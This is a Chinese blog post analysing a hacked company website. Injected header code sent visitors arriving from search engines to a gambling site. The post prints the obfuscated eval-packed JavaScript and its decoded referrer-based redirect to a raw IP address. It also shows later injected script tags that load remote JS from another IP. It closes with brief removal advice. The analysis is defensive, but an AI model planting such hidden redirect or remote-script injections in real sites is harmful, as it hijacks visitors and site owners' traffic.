前言
前几日,百度搜前东家的网站,突然发现网站description变成了菠菜站的简介,这是被黑了节奏啊.
具体表现为从搜索引擎点击进入的时候,会自动跳转到菠菜站,直接输入网址访问不跳转,
排查
一切问题在源码下,皆无可遁形,此类跳转,一般会在header中,这样跳转快速,果不其然,在header中发现了一段代码,如下
它是ENV加密的,不方便阅读.
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('2.3("<4 8=\"a\">");2.3("d s=2.6");2.3("7(s.1(\"9\")>0 || s.1(\"b\")>0 || s.1(\"c\")>0 ||s.1(\"r\")>0 ||s.1(\"e\")>0 ||s.1(\"f\")>0 ||s.1(\"g\")>0 ||s.1(\"h\")>0 )");2.3("i.j=\"k://l.m.n.o:p/q.5\";");2.3("</4>");',29,29,'|indexOf|document|writeln|script|html|referrer|if|LANGUAGE|baidu|Javascript|sogou|soso|var|uc|bing|yahoo|so|location|href|http|103|37|233|13|888|bcs|sm|'.split('|'),0,{}))
解密后
<script LANGUAGE="Javascript">;
var s=document.referrer;
if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )
location.href="http://103.37.233.13:888/bcs.html";
</script>
原理
- 获取来源
- 匹配是否来自符合条件的搜索引擎
- 符合则跳转到指定页面
可以看出此段代码匹配的搜索引擎基本覆盖了国内的主流(百度,搜狗,360搜索,神马,uc,bing,雅虎),只要你是通过这些浏览器进行搜索,皆会跳转到菠菜站.
而且直接输入网址,并不会触发跳转,所以有一定的隐蔽性
解决方案
- 将这段js代码删除即可
- 检查服务器或者程序漏洞,排查为何被入侵,现在服务器被挖矿,也挺常见的,被黑后,要多注意是否被挖矿
后续
发现他们升级了,在头部插入
<script type="text/javascript" rel="nofollow" src="http://103.30.4.96:7889/js/SCur.js" ></script>
他们还加入了百度统计
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?9a4c62a1985e8fbd8d0ce7c1a54070d1";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
document.write("<script language="javascript" type="text/javascript" src="http://103.30.4.96:7889/js/PicLeft.js"></script>");
原理还是如此,不过加入了统计,可能是更方便监控浏览次数,多跳转几次,这样也方便他们更换控制脚本
给前同事发去了提醒,我搜所了一下,被类似手法黑掉的网站不在少数,给一些留了联系方式的网站,顺便发去了提醒,心想能收到一声谢谢,结果.........